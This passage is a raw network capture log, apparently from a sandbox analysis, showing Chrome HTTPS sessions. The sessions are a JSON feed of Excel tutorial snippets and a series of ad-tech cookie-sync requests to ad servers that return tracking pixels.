\".*/2[0-9]+/?[0-9]+/?[0-9]+/?\")) and ('language' == \"en\") and (not ('url'
2024-04-11 21:27:02 UTC	455	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: application/json; charset=utf-8 Content-Length: 226490 Connection: close Vary: Accept-Encoding X-Recombee-Request-Id: a0e4b1e8d7f77b34cd34c6950ff28b56 Cache-Control: no-cache Access-Control-Allow-Headers: Origin, Accept, Content-Type, X-Requested-With, X-CSRF-Token, Authorization Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS
2024-04-11 21:27:02 UTC	3641	IN	Data Raw: 7b 22 72 65 63 6f 6d 6d 49 64 22 3a 20 22 61 30 65 34 62 31 65 38 64 37 66 37 37 62 33 34 63 64 33 34 63 36 39 35 30 66 66 32 38 62 35 36 22 2c 20 22 72 65 63 6f 6d 6d 73 22 3a 20 5b 7b 22 69 64 22 3a 20 22 66 31 33 62 36 34 65 39 2d 35 39 62 31 2d 34 30 33 31 2d 39 30 66 37 2d 33 63 64 32 66 37 65 62 39 31 39 63 22 2c 20 22 76 61 6c 75 65 73 22 3a 20 7b 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 55 73 65 72 73 20 6f 66 74 65 6e 20 61 73 6b 20 68 6f 77 20 74 6f 20 72 65 6d 6f 76 65 20 6e 75 6d 62 65 72 73 20 66 72 6f 6d 20 61 20 63 65 6c 6c 20 69 6e 20 45 78 63 65 6c 2e 20 54 68 69 73 20 71 75 65 72 79 20 69 73 20 6d 6f 73 74 20 63 6f 6d 6d 6f 6e 20 62 65 63 61 75 73 65 20 69 74 20 6d 61 6b 65 73 20 74 68 65 6d 20 63 6f 6e 66 75 73 65 20 77 68 69 6c Data Ascii: {"recommId": "a0e4b1e8d7f77b34cd34c6950ff28b56", "recomms": [{"id": "f13b64e9-59b1-4031-90f7-3cd2f7eb919c", "values": {"description": "Users often ask how to remove numbers from a cell in Excel. This query is most common because it makes them confuse whil
2024-04-11 21:27:02 UTC	4096	IN	Data Raw: 68 6f 77 20 74 68 65 20 46 69 6e 64 20 26 20 52 65 70 6c 61 63 65 20 66 65 61 74 75 72 65 20 77 69 74 68 20 74 68 65 20 57 69 6c 64 63 61 72 64 73 20 63 61 6e 20 68 65 6c 70 20 79 6f 75 20 72 65 6d 6f 76 65 20 6e 75 6d 62 65 72 73 20 66 72 6f 6d 20 63 65 6c 6c 20 69 6e 20 45 78 63 65 6c 2e 20 48 65 72 65 20 74 68 65 20 67 69 76 65 6e 20 64 61 74 61 73 65 74 20 63 6f 6e 74 61 69 6e 73 20 6e 75 6d 62 65 72 73 20 70 72 65 73 65 6e 74 20 77 69 74 68 69 6e 20 70 61 72 65 6e 74 68 65 73 69 73 20 69 6e 20 74 68 65 20 63 6f 6c 75 6d 6e 20 6f 66 20 50 72 6f 64 75 63 74 20 4e 61 6d 65 73 2e 20 4c 65 74 5c 75 32 30 31 39 73 20 73 65 65 20 68 6f 77 20 74 6f 20 72 65 6d 6f 76 65 20 6e 75 6d 62 65 72 73 20 66 72 6f 6d 20 45 78 63 65 6c 20 63 65 6c 6c 3a 20 43 68 6f 6f Data Ascii: how the Find & Replace feature with the Wildcards can help you remove numbers from cell in Excel. Here the given dataset contains numbers present within parenthesis in the column of Product Names. Let\u2019s see how to remove numbers from Excel cell: Choo
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 6f 70 74 69 6f 6e 20 74 68 61 74 20 6c 65 74 73 20 79 6f 75 20 72 65 73 69 7a 65 20 74 68 65 20 63 65 6c 6c 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 73 6f 20 74 68 61 74 20 79 6f 75 72 20 64 61 74 61 20 6f 66 20 64 69 66 66 65 72 65 6e 74 20 73 69 7a 65 73 20 63 61 6e 20 66 69 74 20 69 6e 74 6f 20 74 68 65 20 63 65 6c 6c 73 20 73 6d 6f 6f 74 68 6c 79 2e 20 57 68 65 6e 20 61 70 70 6c 79 69 6e 67 20 74 68 65 20 41 75 74 6f 46 69 74 20 66 65 61 74 75 72 65 2c 20 79 6f 75 20 64 6f 6e 5c 75 32 30 31 39 74 20 6e 65 65 64 20 74 6f 20 6d 61 6b 65 20 63 68 61 6e 67 65 73 20 69 6e 20 74 68 65 20 72 6f 77 20 68 65 69 67 68 74 20 61 6e 64 20 63 6f 6c 75 6d 6e 20 77 69 64 74 68 20 6d 61 6e 75 61 6c 6c 79 20 61 73 20 69 74 20 68 61 70 70 65 6e 73 20 62 79 20 64 Data Ascii: option that lets you resize the cells automatically so that your data of different sizes can fit into the cells smoothly. When applying the AutoFit feature, you don\u2019t need to make changes in the row height and column width manually as it happens by d
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 6f 75 74 63 6f 6d 65 2e 20 41 70 70 6c 79 20 45 78 63 65 6c 20 46 65 61 74 75 72 65 20 74 6f 20 4d 61 6b 65 20 45 78 63 65 6c 20 43 65 6c 6c 73 20 45 78 70 61 6e 64 20 41 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 41 20 62 75 69 6c 74 2d 69 6e 20 66 65 61 74 75 72 65 20 69 6e 20 45 78 63 65 6c 20 6c 65 74 73 20 79 6f 75 20 66 69 74 20 63 6f 6e 74 65 6e 74 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 77 68 65 6e 20 74 68 65 20 74 65 78 74 20 69 73 20 73 70 69 6c 6c 69 6e 67 20 74 6f 20 6f 74 68 65 72 20 63 65 6c 6c 73 2e 20 59 6f 75 20 63 61 6e 20 65 61 73 69 6c 79 20 63 68 61 6e 67 65 20 74 68 65 20 63 6f 6c 75 6d 6e 20 68 65 69 67 68 74 20 6f 72 20 72 6f 77 20 77 69 64 74 68 2e 20 48 65 72 65 20 63 6f 6d 65 73 20 74 68 65 20 65 61 73 79 20 74 6f 20 66 6f 6c Data Ascii: outcome. Apply Excel Feature to Make Excel Cells Expand Automatically A built-in feature in Excel lets you fit content automatically when the text is spilling to other cells. You can easily change the column height or row width. Here comes the easy to fol
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 66 72 6f 6e 74 20 6f 66 20 79 6f 75 2e 20 4e 65 78 74 2c 20 79 6f 75 20 6e 65 65 64 20 74 6f 20 63 6c 69 63 6b 20 49 6e 66 6f 20 61 6e 64 20 63 68 6f 6f 73 65 20 50 72 6f 74 65 63 74 20 57 6f 72 6b 62 6f 6f 6b 20 67 69 76 65 6e 20 69 6e 20 74 68 65 20 6c 65 66 74 2d 73 69 64 65 20 70 61 6e 65 6c 2e 20 49 74 20 77 69 6c 6c 20 6f 70 65 6e 20 75 70 20 61 20 6e 65 77 20 64 72 6f 70 2d 64 6f 77 6e 20 6d 65 6e 75 2e 20 46 72 6f 6d 20 74 68 65 20 64 72 6f 70 2d 64 6f 77 6e 20 6d 65 6e 75 2c 20 79 6f 75 20 68 61 76 65 20 74 6f 20 63 68 6f 6f 73 65 20 45 6e 63 72 79 70 74 20 77 69 74 68 20 61 20 70 61 73 73 77 6f 72 64 20 61 6e 64 20 64 65 6c 65 74 65 20 74 68 65 20 70 61 73 73 77 6f 72 64 20 74 68 61 74 20 61 70 70 65 61 72 73 20 69 6e 20 74 68 65 20 74 65 78 74 Data Ascii: front of you. Next, you need to click Info and choose Protect Workbook given in the left-side panel. It will open up a new drop-down menu. From the drop-down menu, you have to choose Encrypt with a password and delete the password that appears in the text
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 45 78 63 65 6c 20 77 69 6e 64 6f 77 2c 20 6e 61 76 69 67 61 74 65 20 74 6f 20 74 68 65 20 5c 75 32 30 31 63 44 61 74 61 5c 75 32 30 31 64 20 74 61 62 2e 20 46 72 6f 6d 20 74 68 65 72 65 2c 20 63 6c 69 63 6b 20 6f 6e 20 74 68 65 20 5c 75 32 30 31 63 44 61 74 61 20 56 61 6c 69 64 61 74 69 6f 6e 5c 75 32 30 31 64 20 6f 70 74 69 6f 6e 2e 20 54 68 69 73 20 77 69 6c 6c 20 6f 70 65 6e 20 61 20 44 61 74 61 20 56 61 6c 69 64 61 74 69 6f 6e 20 77 69 6e 64 6f 77 20 77 69 74 68 20 76 61 72 69 6f 75 73 20 73 65 74 74 69 6e 67 73 2e 20 53 74 65 70 20 33 3a 20 43 6f 6e 66 69 67 75 72 65 20 54 65 78 74 20 4c 65 6e 67 74 68 20 57 69 74 68 69 6e 20 74 68 65 20 44 61 74 61 20 56 61 6c 69 64 61 74 69 6f 6e 20 77 69 6e 64 6f 77 2c 20 67 6f 20 74 6f 20 74 68 65 20 5c 75 32 30 Data Ascii: Excel window, navigate to the \u201cData\u201d tab. From there, click on the \u201cData Validation\u201d option. This will open a Data Validation window with various settings. Step 3: Configure Text Length Within the Data Validation window, go to the \u20
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 65 6e 65 66 69 74 73 20 6f 66 20 63 6f 6e 63 69 73 65 2c 20 65 72 72 6f 72 2d 66 72 65 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 68 61 74 20 77 69 6c 6c 20 65 6e 68 61 6e 63 65 20 79 6f 75 72 20 70 72 6f 64 75 63 74 69 76 69 74 79 20 61 6e 64 20 64 65 63 69 73 69 6f 6e 2d 6d 61 6b 69 6e 67 20 70 72 6f 63 65 73 73 65 73 2e 22 2c 20 22 69 6d 67 55 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 68 6f 77 2d 74 6f 2d 6c 69 6d 69 74 2d 63 68 61 72 61 63 74 65 72 73 2d 69 6e 2d 65 78 63 65 6c 2e 70 6e 67 22 2c 20 22 73 69 74 65 49 64 22 3a 20 22 61 39 33 62 64 36 36 32 2d 30 35 61 31 2d 34 63 65 37 2d 38 31 63 65 2d 34 63 36 37 62 63 63 65 66 31 39 30 22 2c Data Ascii: enefits of concise, error-free information that will enhance your productivity and decision-making processes.", "imgUrl": "https://earnandexcel.com/wp-content/uploads/how-to-limit-characters-in-excel.png", "siteId": "a93bd662-05a1-4ce7-81ce-4c67bccef190",
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 74 6f 20 72 65 6d 6f 76 65 20 71 75 6f 74 65 73 2e 20 50 72 65 73 73 20 43 74 72 6c 20 2b 20 48 20 74 6f 20 6f 70 65 6e 20 74 68 65 20 46 69 6e 64 20 61 6e 64 20 52 65 70 6c 61 63 65 20 64 69 61 6c 6f 67 20 62 6f 78 2e 20 49 6e 20 74 68 65 20 5c 75 32 30 31 63 46 69 6e 64 20 77 68 61 74 5c 75 32 30 31 64 20 66 69 65 6c 64 2c 20 65 6e 74 65 72 20 61 20 64 6f 75 62 6c 65 20 71 75 6f 74 65 20 28 5c 75 32 30 31 63 29 20 63 68 61 72 61 63 74 65 72 2e 20 4c 65 61 76 65 20 74 68 65 20 5c 75 32 30 31 63 52 65 70 6c 61 63 65 20 77 69 74 68 5c 75 32 30 31 64 20 66 69 65 6c 64 20 65 6d 70 74 79 2e 20 43 6c 69 63 6b 20 5c 75 32 30 31 63 52 65 70 6c 61 63 65 20 41 6c 6c 5c 75 32 30 31 64 20 74 6f 20 72 65 6d 6f 76 65 20 74 68 65 20 71 75 6f 74 65 73 20 66 72 6f 6d 20 Data Ascii: to remove quotes. Press Ctrl + H to open the Find and Replace dialog box. In the \u201cFind what\u201d field, enter a double quote (\u201c) character. Leave the \u201cReplace with\u201d field empty. Click \u201cReplace All\u201d to remove the quotes from
2024-04-11 21:27:03 UTC	4096	IN	Data Raw: 20 49 6e 20 63 6f 6c 75 6d 6e 20 44 2c 20 6e 6f 77 20 79 6f 75 20 63 61 6e 20 66 69 6c 6c 20 69 6e 20 74 68 69 73 20 66 6f 72 6d 75 6c 61 20 66 6f 72 20 65 61 63 68 20 72 65 6d 61 69 6e 69 6e 67 20 63 65 6c 6c 2e 20 54 68 69 73 20 66 6f 72 6d 75 6c 61 20 63 61 6e 20 64 6f 20 74 68 69 6e 67 73 20 73 75 63 68 20 61 73 3a 20 49 6e 20 74 68 65 20 50 6f 69 6e 74 73 20 63 6f 6c 75 6d 6e 2c 20 69 66 20 74 68 65 20 76 61 6c 75 65 20 69 73 20 6e 6f 74 20 6d 6f 72 65 20 74 68 61 6e 20 31 35 2c 20 69 74 20 77 69 6c 6c 20 72 65 74 75 72 6e 20 42 61 64 2e 20 4f 6e 20 74 68 65 20 6f 74 68 65 72 20 68 61 6e 64 2c 20 69 66 20 74 68 65 20 76 61 6c 75 65 20 69 6e 20 74 68 65 20 50 6f 69 6e 74 73 20 63 6f 6c 75 6d 6e 20 69 73 20 6e 6f 74 20 6d 6f 72 65 20 74 68 61 6e 20 32 Data Ascii: In column D, now you can fill in this formula for each remaining cell. This formula can do things such as: In the Points column, if the value is not more than 15, it will return Bad. On the other hand, if the value in the Points column is not more than 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
376	192.168.2.17	50208	35.244.159.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	745	OUT	GET /w/1.0/sd?id=537073061&val=7275991910677607931&gdpr=0&gdpr_consent=&us_privacy= HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: pd=v2\|1712870819\|vMbwgag2gKhEvPkWgyiK; i=d3f8b9b9-e397-0355-1a63-7b8d8d361034\|1712870819
2024-04-11 21:27:02 UTC	366	IN	HTTP/1.1 200 OK Vary: Accept Server: OXGW/0.0.0 Pragma: no-cache P3P: CP="CUR ADM OUR NOR STA NID" Expires: Mon, 26 Jul 1997 05:00:00 GMT Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 43 Cache-Control: private, max-age=0, no-cache Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
377	192.168.2.17	50214	3.214.33.241	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	468	OUT	GET /usersync?b=sta&i=0-b894bcc3-3b2f-50d3-402d-2b181c031c60$ip$156.146.36.197 HTTP/1.1 Host: usersync.gumgum.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: vst=u_a4cb566c-d29c-481c-82f5-d657255d141b
2024-04-11 21:27:02 UTC	210	IN	HTTP/1.1 200 Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-store, must-revalidate, max-age=0 Expires: 0 Pragma: no-cache
2024-04-11 21:27:02 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
378	192.168.2.17	50182	34.200.65.202	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	964	OUT	GET /ups/58350/sync?redir=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060
2024-04-11 21:27:02 UTC	725	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=190u~2ht9;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 11-Apr-2025 21:27:02 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://ssc-cms.33across.com/ps/?xi=99&us_privacy=&xu=y-dtW6JvRE2uEAdSwHz2TdJClVA1i72bFF~A Age: 0 Connection: close Server: ATS/9.1.10.106 Set-Cookie: A3=d=AQABBKVVGGYCEPQl9jf0CBX-b2h6zQMimWUFEgEBAQGnGWYiZtxH0iMA_eMAAA&S=AQAAApnkDuCYySCcSyI641A3060; Expires=Sat, 12 Apr 2025 03:27:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
379	192.168.2.17	50179	8.28.7.83	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1039	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZjb2RlPTc4JnRsPTE1NzY4MDA=&piggybackCookie=203013809340254297&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=25F9549E-136A-47E9-9171-DA44C0E0D5E3; chkChromeAb67Sec=1; pi=157108:2; DPSync3=1714003200%3A201_263%7C1712880000%3A248%7C1713398400%3A265; SyncRTB3=1713398400%3A223%7C1714003200%3A71_250_104_3_220_13_54_231_21_166_165
2024-04-11 21:27:02 UTC	612	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 11 Apr 2024 21:27:01 GMT Content-Type: image/gif; charset=utf-8 Content-Length: 42 Connection: close Set-Cookie: KRTBCOOKIE_57=22776-203013809340254297&KRTB&23339-203013809340254297; domain=pubmatic.com; SameSite=None; secure; expires=Wed, 10-Jul-2024 21:27:01 GMT; path=/ Set-Cookie: PugT=1712870821; domain=pubmatic.com; SameSite=None; secure; expires=Sat, 11-May-2024 21:27:01 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-04-11 21:27:02 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
380	192.168.2.17	50201	44.206.160.179	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	504	OUT	GET /sync/openx/9493e0a4-dabc-aeeb-7162-a5901646ee80?gdpr=0 HTTP/1.1 Host: pr-bh.ybp.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBKVVGGYCEHOBxTT3u2GKaqwxPBS4iIEFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAjdlRRX5EwsWHNUIS9wFfpU
2024-04-11 21:27:02 UTC	778	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Type: image/gif Content-Length: 43 Connection: close Age: 0 Strict-Transport-Security: max-age=31536000 Server: ATS Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-Frame-Options: DENY X-Content-Type-Options: nosniff Referrer-Policy: strict-origin-when-cross-origin Content-Security-Policy: sandbox; default-src 'self'; script-src 'none'; object-src 'none'; report-uri http://csp.yahoo.com/beacon/csp?src=generic Set-Cookie: A3=d=AQABBKVVGGYCEHOBxTT3u2GKaqwxPBS4iIEFEgEBAQGnGWYiZgAAAAAA_eMAAA&S=AQAAAjdlRRX5EwsWHNUIS9wFfpU; Expires=Sat, 12 Apr 2025 03:27:02 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-04-11 21:27:02 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 cc cc cc ff ff ff 21 f9 04 05 14 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
381	192.168.2.17	50200	54.159.170.51	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	815	OUT	GET /d/sync/cookie/generic?https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=${ADELPHIC_CUID}&gdpr=0&gdpr_consent= HTTP/1.1 Host: sync.ipredictive.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698
2024-04-11 21:27:02 UTC	549	IN	HTTP/1.1 302 Found Content-Type: text/html; charset=utf-8 Date: Thu, 11 Apr 2024 21:27:02 GMT Location: https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent= Set-Cookie: cu=d3c52a71-4626-42f8-b765-7c4caff9dd34\|1712870820698; Path=/; Domain=ipredictive.com; Expires=Fri, 11 Apr 2025 21:27:02 GMT; Max-Age=31536000; SameSite=None; Secure X-CI-RTID: 9f2e22b3-eecd-4c59-b774-f83e4ba6efd5 Content-Length: 205 Connection: Close
2024-04-11 21:27:02 UTC	205	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 69 6d 61 67 65 32 2e 70 75 62 6d 61 74 69 63 2e 63 6f 6d 2f 41 64 53 65 72 76 65 72 2f 50 75 67 3f 76 63 6f 64 65 3d 62 7a 30 79 4a 6e 52 35 63 47 55 39 4d 53 5a 71 63 7a 30 78 4a 6d 4e 76 5a 47 55 39 4d 7a 49 31 4d 43 5a 30 62 44 30 78 4d 6a 6b 32 4d 44 41 3d 26 61 6d 70 3b 70 69 67 67 79 62 61 63 6b 43 6f 6f 6b 69 65 3d 64 33 63 35 32 61 37 31 2d 34 36 32 36 2d 34 32 66 38 2d 62 37 36 35 2d 37 63 34 63 61 66 66 39 64 64 33 34 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://simage2.pubmatic.com/AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=d3c52a71-4626-42f8-b765-7c4caff9dd34&gdpr=0&gdpr_consent=">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
382	192.168.2.17	50193	35.71.139.29	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:02 UTC	1021	OUT	GET /getuid?gdpr=0&cmp_cs=&us_privacy=1---&redir=https%3A%2F%2Fssc-cms.33across.com%2Fps%2F%3Fus_privacy%3D1---%26xi%3D33%26xu%3D%24UID HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hde.tynt.com/deb/?m=xch&rt=html&id=0014000000xvEfwAAE&us_privacy=1---&ru=https%3A%2F%2Fexchange.mediavine.com%2Fusersync%2Fredirect%3Fpartner%3Dthirty_three_across%26uuid%3D3a6574e0-f84a-11ee-a9d1-333cefc92741%26s2sVersion%3Dproduction%26partnerId%3D33XUSERID33X&b=1 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3952083078138885077332; tluid=3952083078138885077332
2024-04-11 21:27:02 UTC	681	IN	HTTP/1.1 302 Found Date: Thu, 11 Apr 2024 21:27:02 GMT Content-Length: 0 Connection: close Location: https://ssc-cms.33across.com/ps/?us_privacy=1---&xi=33&xu=3952083078138885077332 Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3952083078138885077332; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:02 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3952083078138885077332; Max-Age=7776000; Expires=Wed, 10 Jul 2024 21:27:02 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
383	192.168.2.17	50221	142.250.65.226	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
